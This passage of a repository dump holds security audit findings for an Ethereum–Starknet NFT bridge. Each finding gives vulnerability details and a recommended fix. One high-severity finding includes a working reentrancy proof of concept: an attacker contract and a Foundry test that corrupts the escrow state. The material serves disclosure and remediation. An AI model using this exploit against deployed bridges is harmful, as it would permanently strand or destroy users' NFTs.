├── Canceling Messages ├── H-01.md ├── L-01.md └── M-01.md ├── Collection Upgrade ├── L-01.md ├── M-01.md └── M-02.md ├── Initializer Pack ├── L-01.md ├── L-02.md ├── L-03.md ├── M-01.md └── M-02.md ├── L1 -> L2 Pack ├── H-01.md ├── L-01.md ├── M-01.md └── M-02.md ├── L2 -> L1 Pack ├── H-01.md ├── L-01.md ├── M-01.md ├── M-02.md └── M-03.md ├── Others ├── L-01.md ├── L-02.md ├── L-03.md ├── L-04.md ├── L-05.md ├── M-01.md └── M-02.md ├── README.md ├── Stark Init Pack └── M-01.md ├── TokenUtils Pack ├── L-01.md ├── L-02.md └── M-01.md └── WhiteListing Logic pack ├── H-01.md ├── L-01.md ├── M-01.md └── M-02.md /Canceling Messages/H-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | A Malicious user can bridge an NFT on `L2` and destroy it on `L1` 3 | 4 | ## Vulnerability Details 5 | 6 | When withdrawing tokens, these tokens are either escrowed by the bridge or not. If the bridge holds the token, we transfer it from the bridge to the `ownerL1`, else this means that the NFT collection is a custom NFT collection deployed by the bridge and we call `ERC721Collection::mintFromBridge` to mint it. 7 | 8 | [Bridge.sol#L201-L209](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L201-L209) 9 | ```solidity 10 | bool wasEscrowed = _withdrawFromEscrow(ctype, collectionL1, req.ownerL1, id); 11 | 12 | if (!wasEscrowed) { 13 | ... 14 | ❌️ IERC721Bridgeable(collectionL1).mintFromBridge(req.ownerL1, id); 15 | } 16 | ``` 17 | 18 | If the NFT is escrowed, we transfer it to the owner and burn it (setting escrow to `address_zero`). 19 | 20 | [Escrow.sol#L78-L86](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Escrow.sol#L78-L86) 21 | ```solidity 22 | function _withdrawFromEscrow( ... ) ... { 23 | if (!_isEscrowed(collection, id)) { 24 | return false; 25 | } 26 | 27 | address from = address(this); 28 | 29 | if (collectionType == CollectionType.ERC721) { 30 | 1: IERC721(collection).safeTransferFrom(from, to, id); 31 | } else { ... } 32 | 33 | 2: _escrow[collection][id] = address(0x0); 34 | 35 | return true; 36 | } 37 | ``` 38 | 39 | As we can see we are transferring the NFT using `safeTransferFrom`. Then, burning it and this opens up a Reentrancy! 40 | 41 | since `safeTransferFrom` calls `onERC721Received()`, the user can do whatever he wants before the NFT gets burned. now what if the user deposited the NFT to receive it on `L2` again via calling `L2Bridger::depositTokens()`? 42 | 43 | When depositing we are escrowing the tokenId(s) we are depositing, where the sender sends the token(s) to the bridge then it is escrowed. 44 | 45 | [Bridge.sol#L129](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L129) 46 | ```solidity 47 | function depositTokens( ... ) ... { 48 | ... 49 | ❌️ _depositIntoEscrow(ctype, collectionL1, ids); 50 | } 51 | ... 52 | function _depositIntoEscrow( ... ) ... { 53 | assert(ids.length > 0); 54 | 55 | for (uint256 i = 0; i < ids.length; i++) { 56 | uint256 id = ids[i]; 57 | 58 | if (collectionType == CollectionType.ERC721) { 59 | IERC721(collection).transferFrom(msg.sender, address(this), id); 60 | } else { ... } 61 | 62 | ❌️ _escrow[collection][id] = msg.sender; 63 | } 64 | } 65 | ``` 66 | 67 | Now since we called this function in `onERC721Received()` when we return from it, we will return back to the point of withdrawing escrowed tokens, where we will set escrow to `address(0)`. Now this will result in resetting the escrow mapping for that token into `address(0)` although it is owned by the `L1Bridge`. 68 | 69 | ## Attack Scenario 70 | We are withdrawing escrowed tokens when either Bridging from `L2` to `L1` and tokens are escrowed, or we are canceling Message Requests from `L1` to `L2` that the Starknet sequencer did not process, we will illustrate the two attacks. 71 | 72 | **Canceling Message:** 73 | 1. UserA deposited an NFT token and provided less `msg.value` to the StarknetMessaging protocol, using a contract implementing `onERC721Received()` that calls `L1Bridge::depositTokens()` again. 74 | 2. The sequencer didn't process the message because of low gas paid. 75 | 3. UserA messaged the protocol to cancel his message. 76 | 4. The protocol started canceling requests (there is nothing weird till this point). 77 | 5. UserA called cancelRequest after the period has been passed. 78 | 6. Tokens are transferred to the UserA `msg.sender`, which is the contract implementing that `onERC721Received()`. 79 | 7. The token gets redeposited into `L1Bridge` to be Bridged into the user on `L2` when calling `onERC721Received()`, but he provided correct data and enough gas this time. 80 | 8. `onERC721Received()` finished. 81 | 9. `L1Bridge` reset that token escrow into `address(0)`. 82 | 10. UserA received that NFT on `L2`. 83 | 11. UserA sold this NFT to UserB on `L2`. 84 | 12. Time passes, and UserB tries to Bridge his NFT to `L1`. 85 | 13. When withdrawing, the `L1Bridge` found that the NFT was not escrowed so he tried mint it. 86 | 14. The token holder is actually the bridge. so minting will revert because the token already existed. 87 | 15. UserB lost his NFT forever, and any other tokens bridged with that token will get stuck, as the message will always revert when trying to execute it on `L1Bridge` and withdraw tokens. 88 | 89 | **Bridging from `L2` to `L1`:**\ 90 | It is the same scenario except for doing the attack when canceling the message, the User will need to Bridge his token to `L2` then bridge it back to `L1` and do the attack when withdrawing it from `L1` bridge (the token is escrowed by the bridge when he bridged it first time from `L1` to `L2`). 91 | 92 | This attack costs more for the attacker, but the user don't have to message Protocol admins to Start canceling his message. 93 | 94 | ## Proof of Concept 95 | We wrote a script that simulates the first attack (`Canceling Message`). 96 | 97 | Add this in the last of the `apps/blockchain/ethereum/test/Bridge.t.sol` file. 98 | 99 | ```solidity 100 | contract AttackerContract { 101 | 102 | address public bridge; 103 | snaddress public ownerL2; 104 | address public collection; 105 | 106 | constructor(address _bridge, address _collection) payable { 107 | bridge = _bridge; 108 | ownerL2 = Cairo.snaddressWrap(0x1); 109 | collection = _collection; 110 | } 111 | 112 | function onERC721Received( 113 | address operator, 114 | address from, 115 | uint256 tokenId, 116 | bytes calldata data 117 | ) external returns(bytes4) { 118 | uint256[] memory ids = new uint256[](1); 119 | ids[0] = tokenId; 120 | IStarklane(bridge).depositTokens{value: 30000}( 121 | 0x123, 122 | collection, 123 | ownerL2, 124 | ids, 125 | false 126 | ); 127 | 128 | 129 | return this.onERC721Received.selector; 130 | } 131 | 132 | } 133 | 134 | interface IStarklaneEscrowed is IStarklane { 135 | function _escrow(address collection, uint256 tokenId) external view returns(address); 136 | } 137 | 138 | contract AuditorTest is BridgeTest { 139 | 140 | function test_auditor_deposit_before_burn() public { 141 | 142 | uint256 delay = 30; 143 | IStarknetMessagingLocal(snCore).setMessageCancellationDelay(delay); 144 | uint256[] memory ids = new uint256[](2); 145 | ids[0] = 0; 146 | ids[1] = 1; 147 | 148 | // deploy an attack contract that will deposite on receiving an NFT 149 | AttackerContract attackContract = new AttackerContract{value: 10 * 30000}(bridge, erc721C1); 150 | 151 | (uint256 nonce, uint256[] memory payload) = setupCancelRequest(address(attackContract), ids); 152 | assert(IERC721(erc721C1).ownerOf(ids[0]) != address(attackContract)); 153 | assert(IERC721(erc721C1).ownerOf(ids[1]) != address(attackContract)); 154 | 155 | Request memory req = Protocol.requestDeserialize(payload, 0); 156 | 157 | vm.expectEmit(true, false, false, false, bridge); 158 | emit CancelRequestStarted(req.hash, 42); 159 | IStarklane(bridge).startRequestCancellation(payload, nonce); 160 | 161 | skip(delay * 1 seconds); 162 | // - Cancel request will transfer NFTs to the receiver and call `onERC721Received` 163 | // - We will call bridge.depositTokens 164 | // - Tokens will get escrowed by the Bridge 165 | // - onERC721Received will return back 166 | // - Token will get Burned 167 | // - The recever will receive his NFT on L2 168 | IStarklane(bridge).cancelRequest(payload, nonce); 169 | 170 | assert(IERC721(erc721C1).ownerOf(ids[0]) == bridge); 171 | assert(IERC721(erc721C1).ownerOf(ids[1]) == bridge); 172 | assert(IStarklaneEscrowed(bridge)._escrow(erc721C1, 0) == address(0x00)); 173 | assert(IStarklaneEscrowed(bridge)._escrow(erc721C1, 1) == address(0x00)); 174 | 175 | 176 | console2.log("Token[0] owner:", IERC721(erc721C1).ownerOf(ids[0])); 177 | console2.log("Token[1] owner:", IERC721(erc721C1).ownerOf(ids[1])); 178 | console2.log("Token[0] escrowed:", IStarklaneEscrowed(bridge)._escrow(erc721C1, 0)); 179 | console2.log("Token[1] escrowed:", IStarklaneEscrowed(bridge)._escrow(erc721C1, 1)); 180 | } 181 | } 182 | ``` 183 | 184 | Since `escrow` variable is private, you will need to make it a `public` visibility in order for the test to work, add the public visibility to it. 185 | 186 | [Escrow.sol#L17](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Escrow.sol#L17) 187 | ```diff 188 | - mapping(address => mapping(uint256 => address)) _escrow; 189 | + mapping(address => mapping(uint256 => address)) public _escrow; 190 | ``` 191 | 192 | On the cmd write the following command. 193 | ```shell 194 | forge test --mt test_auditor_deposit_before_burn -vv 195 | ``` 196 | 197 | > Output: 198 | ```powershell 199 | [PASS] test_auditor_deposit_before_burn() (gas: 1176814) 200 | Logs: 201 | Token[0] owner: 0xc7183455a4C133Ae270771860664b6B7ec320bB1 202 | Token[1] owner: 0xc7183455a4C133Ae270771860664b6B7ec320bB1 203 | Token[0] escrowed: 0x0000000000000000000000000000000000000000 204 | Token[1] escrowed: 0x0000000000000000000000000000000000000000 205 | ``` 206 | 207 | The POC checks that the Bridge will end up being the owner of the tokens, and they are not escrowed, which means anyone who tries to withdraw it back when bridging from `L2` to `L1` will end up trying minting it which will revert. 208 | 209 | ## Impact 210 | An innocent user can lose his NFTs on `L2` when Bridging them back to `L1`. 211 | 212 | ## Tools Used 213 | Manual Review + Foundry 214 | 215 | ## Recommendations 216 | Implement the CEI pattern by burning The token before transferring it. 217 | 218 | ```diff 219 | diff --git a/apps/blockchain/ethereum/src/Escrow.sol b/apps/blockchain/ethereum/src/Escrow.sol 220 | index c58bce9..b5d8ad1 100644 221 | --- a/apps/blockchain/ethereum/src/Escrow.sol 222 | +++ b/apps/blockchain/ethereum/src/Escrow.sol 223 | @@ -74,6 +74,7 @@ contract StarklaneEscrow is Context { 224 | } 225 | 226 | address from = address(this); 227 | + _escrow[collection][id] = address(0x0); 228 | 229 | if (collectionType == CollectionType.ERC721) { 230 | IERC721(collection).safeTransferFrom(from, to, id); 231 | @@ -83,7 +84,6 @@ contract StarklaneEscrow is Context { 232 | IERC1155(collection).safeTransferFrom(from, to, id, 1, ""); 233 | } 234 | 235 | - _escrow[collection][id] = address(0x0); 236 | 237 | return true; 238 | } 239 | ``` 240 | -------------------------------------------------------------------------------- /Canceling Messages/L-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Canceling messages is not checking if the Bridge is enabled or not. 3 | 4 | ## Vulnerability Details 5 | `L1Bridge` have a pausing functionality, where if the Bridge is passed `enable` variable is set to `false`. 6 | 7 | [Bridge.sol#L358-L362](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L358-L362) 8 | ```solidity 9 | function enableBridge( 10 | bool enable 11 | ) external onlyOwner { 12 | _enabled = enable; 13 | } 14 | ``` 15 | 16 | If the Bridge is not enabled (paused), this means we can't use it. So we are preventing Depositing and Withdrawing from that Bridge, but the problem is that canceling Messages is not checking this. 17 | 18 | [Bridge.sol#L243-L246](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L243-L246) 19 | ```solidity 20 | function cancelRequest( 21 | uint256[] memory payload, 22 | uint256 nonce 23 | ) external { 24 | // @audit No checking if the Bridge is enabled or not 25 | ❌️ IStarknetMessaging(_starknetCoreAddress).cancelL1ToL2Message( ... ); 26 | Request memory req = Protocol.requestDeserialize(payload, 0); 27 | _cancelRequest(req); 28 | emit CancelRequestCompleted(req.hash, block.timestamp); 29 | } 30 | ``` 31 | 32 | When we cancel a message from Bridge, we withdraw the Tokens from Bridge, and if the Bridge is `paused` this thing should not occur, as the Bridge interactions should be paused, and we should not be able to deposit or withdraw tokens from it. 33 | 34 | ## Impact 35 | The ability to interact with the Bridge and cancel messages even if the Bridge is disabled, in addition to the ability to withdraw the tokens in the canceled message. 36 | 37 | ## Tools Used 38 | Manual Review 39 | 40 | ## Recommendations 41 | Check that the Bridge is enabled when canceling the message. 42 | 43 | ```diff 44 | diff --git a/apps/blockchain/ethereum/src/Bridge.sol b/apps/blockchain/ethereum/src/Bridge.sol 45 | index e62c7ce..f74f3f5 100644 46 | --- a/apps/blockchain/ethereum/src/Bridge.sol 47 | +++ b/apps/blockchain/ethereum/src/Bridge.sol 48 | @@ -244,6 +244,9 @@ contract Starklane is IStarklaneEvent, UUPSOwnableProxied, StarklaneState, Stark 49 | uint256[] memory payload, 50 | uint256 nonce 51 | ) external { 52 | + if (!_enabled) { 53 | + revert BridgeNotEnabledError(); 54 | + } 55 | IStarknetMessaging(_starknetCoreAddress).cancelL1ToL2Message( 56 | snaddress.unwrap(_starklaneL2Address), 57 | felt252.unwrap(_starklaneL2Selector), 58 | ``` 59 | -------------------------------------------------------------------------------- /Canceling Messages/M-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Canceling messages can result in transferring NFTs to different owners or even lost 3 | 4 | ## Vulnerability Details 5 | When bridging NFTs from L1 -> L2, there is an option to cancel messages, using `Starknet Messaging Protocol` if the sequencer did not process it (because of the lack of gas or something). To do this we call `startL1ToL2MessageCancellation` and after some period we call `cancelL1ToL2Message` to cancel it. 6 | 7 | The protocol uses this to let the user who Escrowed his NFT(s) can withdraw them back if his message was not processed by the sequencer, and when canceling the message we are returning the NFTs back to him. 8 | 9 | [Bridge.sol#L264](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L264) 10 | ```solidity 11 | function _cancelRequest(Request memory req) internal { 12 | uint256 header = felt252.unwrap(req.header); 13 | CollectionType ctype = Protocol.collectionTypeFromHeader(header); 14 | address collectionL1 = req.collectionL1; 15 | for (uint256 i = 0; i < req.tokenIds.length; i++) { 16 | uint256 id = req.tokenIds[i]; 17 | ❌️ _withdrawFromEscrow(ctype, collectionL1, req.ownerL1, id); 18 | } 19 | } 20 | ``` 21 | 22 | As we can see when withdrawing we are sending NFT(s) to the `req.ownerL1`, but is `req.ownerL1` the owner of the NFT? 23 | 24 | When calling `L1Bridge::depositTokens`, we are signing `req.ownerL1` to `msg.sender`. 25 | 26 | [Bridge.sol#L117](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L117) 27 | ```solidity 28 | function depositTokens( ... ) ... { 29 | ... 30 | ❌️ req.ownerL1 = msg.sender; 31 | ... 32 | _depositIntoEscrow(ctype, collectionL1, ids); 33 | ... 34 | } 35 | ``` 36 | 37 | Then we transfer the NFT tokens from him (`msg.sender`) to the Bridge. 38 | 39 | [Escrow.sol#L38-L40](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Escrow.sol#L38-L40) 40 | ```solidity 41 | function _depositIntoEscrow( ... ) internal { 42 | ... 43 | if (collectionType == CollectionType.ERC721) { 44 | ❌️ IERC721(collection).transferFrom(msg.sender, address(this), id); 45 | } else { 46 | } 47 | ``` 48 | 49 | The problem is that `ERC721` token supports two types of approvals full approvals (`isApprovedForAll()`), and single approvals (`getApproved()`). So the sender of the TX can be another address that is approved to use these NFTs and not the actual owner. 50 | 51 | Now if the caller was an approved address for NFT(s) to be Bridge, when we cancel it this will result in transfering NFT(s) to the Sender of the TX (approval) and not to the actual owner. 52 | 53 | The problem can be even more critical as the sender may be a smart contract approved to use user NFT(s), like an `NFT Manager`. So when trying to cancel the message the tx will either revert because of using `safeTransferFrom` and the contract may not have `onERC721Received` function (As it is not intended to receive NFTs it just transfers on behalf of users), or success by sending the NFT to that contract (and there may be no method to get them back). 54 | 55 | So in brief, the NFTs will end up going to a different address than the original owner of them. 56 | 57 | ## Proof of Concept 58 | - UserA has an `NFT Manager` contract which he uses to transfer his NFTs. 59 | - He Bridged his NFT(s) using that `NFT Manager`. 60 | - The message wasn't processed by the sequencer. 61 | - UserA requested to cancel it from the protocol. 62 | - Protocol Devs started cancelation by calling `startL1ToL2MessageCancellation()` 63 | - Time Passes... 64 | - UserA called `cancelL1ToL2Message()` to cancel the message and take his NFT(s) back. 65 | - NFT(s) is going to be sent to the `NFT Manager` and not the original owner. 66 | - Transaction reverted as NFT manager is not implementing `onERC721Received()`. 67 | 68 | ## Impact 69 | NFT(s) will get transferred to the incorrect owner or even lost forever. 70 | 71 | ## Tools Used 72 | Manual Review 73 | 74 | ## Recommendations 75 | Make the escrow mapping store the original owner of the NFT instead of the sender, and when withdrawing them send them to the escrowed addresses. 76 | 77 | **NOTE**:This behavior should only be used when canceling messages. If it is `L2 -> L1` message and we are withdrawing from Escrow, we should give them to the `ownerL1` directly. 78 | -------------------------------------------------------------------------------- /Collection Upgrade/L-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | There is no way to change Bridgable ERC721 collections bytecode in `L1Bridge`. 3 | 4 | ## Vulnerability Details 5 | When Deploying a new `ERC721` collection on `L1`, we are creating a new instance of `ERC721Bridgeable()`, and deploy it as a Proxy to be able to upgrade it. 6 | 7 | [Deployer.sol#L30](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/Deployer.sol#L30) 8 | ```solidity 9 | function deployERC721Bridgeable( ... ) ... { 10 | ❌️ address impl = address(new ERC721Bridgeable()); 11 | ... 12 | 13 | return address(new ERC1967Proxy(impl, dataInit)); 14 | } 15 | ``` 16 | 17 | Since this interface `ERC721Bridgeable` is a constant bytecode when compiling the contract, it will make the code logic of `ERC721` that will get deployed when withdrawing from `L1` immutable and we can't change its logic. 18 | 19 | If we checked `L2Bridge` we will find this is not how it works, where it supports changing the logic of the `ERC721` collection that will get deployed on `L2`. There is a function called `set_erc721_class_hash()` which changes the `class_hash` of the `ERC721` collection addresses (which is like changing the bytecode in EVM/solidity). 20 | 21 | [bridge.cairo#L220-L223](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L220-L223) 22 | ```cairo 23 | fn set_erc721_class_hash(ref self: ContractState, class_hash: ClassHash) { 24 | ensure_is_admin(@self); 25 | self.erc721_bridgeable_class.write(class_hash); 26 | } 27 | ``` 28 | 29 | And by changing `erc721_bridgeable_class` the newly created NFTs collections on `L2` will have the Logic that represents that `class_hash`. 30 | 31 | [bridge.cairo#L448-L455](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L448-L455) 32 | ```cairo 33 | let l2_addr_from_deploy = deploy_erc721_bridgeable( 34 | ❌️ self.erc721_bridgeable_class.read(), 35 | salt, 36 | req.name.clone(), 37 | req.symbol.clone(), 38 | req.base_uri.clone(), 39 | starknet::get_contract_address(), 40 | ); 41 | ``` 42 | 43 | So in `L2Bridge` we will be able to change the Code Logic of the `ERC721` collection that will get deployed, but in `L1Bridge` we will not be able to do this. which means that the two Bridges are not consistent. 44 | 45 | ## Tools Used 46 | Manual Review 47 | 48 | ## Recommendations 49 | 1. Make the `bytecode` a variable that can be changed, and since there is no constructor argument this will be enough. 50 | 2. Make the creation using `create` opcode, with providing that `bytecode` variable. 51 | -------------------------------------------------------------------------------- /Collection Upgrade/M-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | There is no way to upgrade NFTs collections on `L1` that is mapped to Original Collections on `L2` 3 | 4 | ## Vulnerability Details 5 | When we are bridging Tokens `L1<->L2` if the NFT collection in the source chain has no address on the destination chain, we are deploying new ERC721 NFT collection addresses and attaching them. 6 | 7 | When deploying we are making the Collection upgradable, where we can change the implementation of that NFT collection if needed. 8 | 9 | [Deployer.sol#L23-L38](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/Deployer.sol#L23-L38) 10 | ```solidity 11 | function deployERC721Bridgeable(... ) ... { 12 | ❌️ address impl = address(new ERC721Bridgeable()); 13 | 14 | bytes memory dataInit = abi.encodeWithSelector( 15 | ERC721Bridgeable.initialize.selector, 16 | abi.encode(name, symbol) 17 | ); 18 | 19 | ❌️ return address(new ERC1967Proxy(impl, dataInit)); 20 | } 21 | ``` 22 | 23 | Since ERC1967 makes the Proxy admin is the sender, so the Bridge is the only address that can upgrade the Collection implementation. 24 | 25 | The issue is that no method exists in our `L1Bridge` contract to upgrade the NFT collection implementation in `L1`. However, if we checked the `L2Bridge` we will find that upgrading an NFT collection is a supported thing and intended. 26 | 27 | [bridge.cairo#L369-L373](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L369-L373) 28 | ```cairo 29 | fn collection_upgrade(ref self: ContractState, collection: ContractAddress, class_hash: ClassHash) { 30 | ensure_is_admin(@self); 31 | IUpgradeableDispatcher { contract_address: collection } 32 | .upgrade(class_hash); 33 | } 34 | ``` 35 | 36 | As we can see in `L2Bridge` there is a function `collection_upgrade` which takes the NFT collection address and calls `upgrade`, which will allow upgrading the created NFT collection implementation if needed. 37 | 38 | This will result in the inability to upgrade NFT collections that was deployed on `L1` if needed. 39 | 40 | ## Proof of Concept 41 | - Bridge is active 42 | - Tokens are Bridge `L1<->L2` 43 | - There are new collections created on `L1` and attached to original collections on `L2` 44 | - There are new collections created on `L2` and attached to original collections on `L1` 45 | - The admin decided to upgrade some collections created on `L1` and `L2` 46 | - The admin will be able to upgrade `L2` collections but will not be able to upgrade `L1` collections 47 | 48 | ## Impact 49 | Inability to upgrade Created NFT collections on `L1` 50 | 51 | ## Tools Used 52 | Manual Review 53 | 54 | ## Recommendation 55 | Implement a function to upgrade the NFT collection on `L1Bridge`, the same as that in `L2Bridge`. 56 | 57 | ```diff 58 | diff --git a/apps/blockchain/ethereum/src/Bridge.sol b/apps/blockchain/ethereum/src/Bridge.sol 59 | index e62c7ce..0df98c2 100644 60 | --- a/apps/blockchain/ethereum/src/Bridge.sol 61 | index e62c7ce..0df98c2 100644 62 | --- a/apps/blockchain/ethereum/src/Bridge.sol 63 | +++ b/apps/blockchain/ethereum/src/Bridge.sol 64 | @@ -374,4 +374,16 @@ contract Starklane is IStarklaneEvent, UUPSOwnableProxied, StarklaneState, Stark 65 | emit L1L2CollectionMappingUpdated(collectionL1, snaddress.unwrap(collectionL2)); 66 | } 67 | 68 | + function collectionUpgrade( 69 | + ERC721Bridgeable collectionAddress, 70 | + address newImplementation, 71 | + bytes memory initData 72 | + ) external onlyOwner { 73 | + if (init.length > 0) { 74 | + collectionAddress.upgradeToAndCall(newImplementation, initData); 75 | + } else { 76 | + collectionAddress.upgradeTo(newImplementation); 77 | + } 78 | + } 79 | + 80 | } 81 | ``` 82 | 83 | _NOTE: This Mitigation is not tested, so it may be implemented correctly._ 84 | -------------------------------------------------------------------------------- /Collection Upgrade/M-02.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | There is no way to change NFTs collections Ownership on `L1` that is mapped to Original Collections on `L2` 3 | 4 | ## Vulnerability Details 5 | When we are bridging Tokens `L1<->L2` if the NFT collection in the source chain has no address on the destination chain, we are deploying new ERC721 NFT collection addresses and attaching them. 6 | 7 | When deploying the NFT collection, we are deploying it with an `owner`, which is `L1Bridge`. 8 | 9 | [Deployer.sol#L32-L35](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/Deployer.sol#L32-L35) 10 | ```solidity 11 | function deployERC721Bridgeable( ... ) ... { 12 | address impl = address(new ERC721Bridgeable()); 13 | 14 | ❌️ bytes memory dataInit = abi.encodeWithSelector( 15 | ERC721Bridgeable.initialize.selector, 16 | abi.encode(name, symbol) 17 | ); 18 | 19 | return address(new ERC1967Proxy(impl, dataInit)); 20 | } 21 | 22 | ... 23 | 24 | function initialize( ... ) ... { 25 | ... 26 | ❌️ _transferOwnership(_msgSender()); 27 | } 28 | ``` 29 | 30 | Ownership is transferred to the `msg.sender` of `initialize`, which is `L1Bridge` who deployed the proxy contract with that init data. 31 | 32 | The problem is there is no way to transfer the ownership of a given `ERC721` collection, which is not the case in `L2`, where the ownership can be transferred to another owner. 33 | 34 | [bridge.cairo#L375-L380](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L375-L380) 35 | ```cairo 36 | // transfer owner of the given collection to the given address 37 | fn collection_transfer_ownership(ref self: ContractState, collection: ContractAddress, new_owner: ContractAddress) { 38 | ensure_is_admin(@self); 39 | IOwnableDispatcher { contract_address: collection } 40 | .transfer_ownership(new_owner); 41 | } 42 | ``` 43 | 44 | This will result inability to transfer the ownership of a given collection on `L2` that has a deployed address on `L1` to another owner (like the original creators of that NFTs), which is not the way the `L2Bridge` work. 45 | 46 | ## Proof of Concept 47 | - Bridge is active 48 | - Tokens are Bridge `L1<->L2` 49 | - There are new collections created on `L1` and attached to original collections on `L2` 50 | - There are new collections created on `L2` and attached to original collections on `L1` 51 | - The admin decided to transfer ownership of a given collection created on `L1` 52 | - The admin will be able to transfer the ownership of that collection. 53 | 54 | ## Impact 55 | Inability to change ownership of Created NFT collections on `L1` 56 | 57 | ## Tools Used 58 | Manual Review 59 | 60 | ## Recommendation 61 | Implement a function to change the ownership of an NFT collection on `L1Bridge`, the same as that in `L2Bridge`. 62 | 63 | ```diff 64 | diff --git a/apps/blockchain/ethereum/src/Bridge.sol b/apps/blockchain/ethereum/src/Bridge.sol 65 | index e62c7ce..7d33554 100644 66 | --- a/apps/blockchain/ethereum/src/Bridge.sol 67 | +++ b/apps/blockchain/ethereum/src/Bridge.sol 68 | @@ -374,4 +374,10 @@ contract Starklane is IStarklaneEvent, UUPSOwnableProxied, StarklaneState, Stark 69 | emit L1L2CollectionMappingUpdated(collectionL1, snaddress.unwrap(collectionL2)); 70 | } 71 | 72 | + function collectionTransferOwnership( 73 | + ERC721Bridgeable collectionAddress, 74 | + address newAddress 75 | + ) external onlyOwner { 76 | + collectionAddress.transferOwnership(newAddress); 77 | + } 78 | } 79 | ``` 80 | 81 | _NOTE: This Mitigation is not tested, so it may be implemented correctly._ 82 | -------------------------------------------------------------------------------- /Initializer Pack/L-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Using `Ownable` instead of `OwnableUpgradable` for Upgradable contracts 3 | 4 | ## Vulnerability Details 5 | When dealing with upgradable contracts, it is better to make the Access Control and Privilege Roles in a separate storage location ruther than with normal variables (making it in a slot far away from slots 0, 1, 2, 3, ...), this is to prevent any problem when upgrading the contract like storage collision that may lead to renouncing the ownership and losing the access control for the contract. 6 | 7 | The current contracts which `Bridge` contract inherits from them implement OpenZeppelin `Ownable` not `OwnableUpgradable`. 8 | 9 | [UUPSProxied.sol#L14](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/UUPSProxied.sol#L14) 10 | ```solidity 11 | contract UUPSOwnableProxied is Ownable, UUPSUpgradeable { 12 | ``` 13 | 14 | [State.sol#L13](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/State.sol#L13) 15 | ```solidity 16 | contract StarklaneState is Ownable { 17 | ``` 18 | 19 | ## Recommendations 20 | Use OpenZeppelin [`OwnableUpgradable`](https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/access/OwnableUpgradeable.sol) instead of `Ownable`. 21 | -------------------------------------------------------------------------------- /Initializer Pack/L-02.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Single-step ownership transfer mechanism by `Ownable` 3 | 4 | ## Vulnerability Details 5 | For contracts that `Bridge` inherits from them, they implement single-step ownership transfer, this is not ideal for protocols where it can leave the contract without an owner if it transfers the ownership to a wrong address. 6 | 7 | [UUPSProxied.sol#L14](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/UUPSProxied.sol#L14) 8 | ```solidity 9 | contract UUPSOwnableProxied is Ownable, UUPSUpgradeable { 10 | ``` 11 | 12 | [State.sol#L13](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/State.sol#L13) 13 | ```solidity 14 | contract StarklaneState is Ownable { 15 | ``` 16 | 17 | Single-step ownership transfer is dangerous as if the transfer is made to an incorrect address. the contract will be with no owner, and the role will be lost forever. 18 | 19 | This will make the contract non-upgradable, where the owner is the only one who can upgrade the implementation of the Bridge. 20 | 21 | NOTE: there are more than one Ownable contract but this will not make more than one owner for the contract, thanks to C3 linearization algorism, there will be only one owner for the `Bridge` contract. 22 | 23 | ## Recommendations 24 | 25 | Use `Ownable2Step` instead of `Ownable` from OpenZeppelin. 26 | -------------------------------------------------------------------------------- /Initializer Pack/L-03.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Implementation contract left uninitialized and can be initialized 3 | 4 | ## Vulnerability Details 5 | The `Bridge` contract will be `ERC1967`, and the implementation will be the `Bridge`. But If we checked the Bridge implementation we will find that it is left initialized, and anyone can initialize it. 6 | 7 | This will allow anyone to initialize the implementation contract and take its OwnerShip. 8 | 9 | ## Recommendations 10 | Prevent initializing the contract the implementation contract. This can be done by initializing `address(0)`, this will prevent initializing the implementation contract in the init logic implemented by the team. 11 | 12 | ```diff 13 | diff --git a/apps/blockchain/ethereum/src/Bridge.sol b/apps/blockchain/ethereum/src/Bridge.sol 14 | index e62c7ce..b4d5175 100644 15 | --- a/apps/blockchain/ethereum/src/Bridge.sol 16 | +++ b/apps/blockchain/ethereum/src/Bridge.sol 17 | @@ -35,6 +35,9 @@ contract Starklane is IStarklaneEvent, UUPSOwnableProxied, StarklaneState, Stark 18 | bool _enabled; 19 | bool _whiteListEnabled; 20 | 21 | + constructor() { 22 | + _initializedImpls[address(0)] = true; 23 | + } 24 | 25 | /** 26 | @notice Initializes the implementation, only callable once. 27 | ``` 28 | -------------------------------------------------------------------------------- /Initializer Pack/M-01.md: -------------------------------------------------------------------------------- 